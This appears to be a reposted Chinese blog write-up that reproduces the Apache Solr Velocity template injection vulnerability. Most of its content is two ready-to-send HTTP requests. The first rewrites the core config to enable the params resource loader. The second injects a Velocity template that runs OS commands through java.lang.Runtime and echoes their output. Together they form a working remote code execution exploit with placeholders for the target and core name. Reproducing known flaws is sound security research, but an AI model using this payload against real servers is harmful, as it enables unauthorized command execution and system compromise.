Apache solr velocity模块 漏洞复现

0x01 Solr简单介绍

  Solr是建立在Apache Lucene ™之上的一个流行、快速、开放源代码的企业搜索平台。

  Solr具有高度的可靠性,可伸缩性和容错能力,可提供分布式索引,复制和负载平衡查询,自动故障转移和恢复,集中式配置等。Solr为许多世界上最大的互联网站点提供搜索和导航功能。

0x02 漏洞介绍

  此次出现漏洞的是Velocity模块,此模块可被注入,具体原理暂未公开。其poc 已公开。

0x03 漏洞复现

  感谢某大佬的环境,省了一点时间。

  • 打开solr主页,点击选择器  Core Selector ,选择这个东东(不熟悉solr,不知道怎么定义这个东西的属性),我们叫他 $name 

  •  现在构造poc,首先写一个配置文件
POST /solr/$name/config HTTP/1.1
Host: $target
Pragma:no-cache
Cache-Control:no-cache
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://$target/solr/
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}
  •  愉快的发包过去,成功~
  •  写入执行指令
GET /solr/$name/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27ls%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host:$target
Pragma:no-cache
Cache-Control:no-cache
Accept: application/json, text/plain, */*
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:70.0) Gecko/20100101 Firefox/70.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Referer: https://$target/solr/
Content-Length: 259

 

 

猜你喜欢

转载自www.cnblogs.com/foe0/p/11772800.html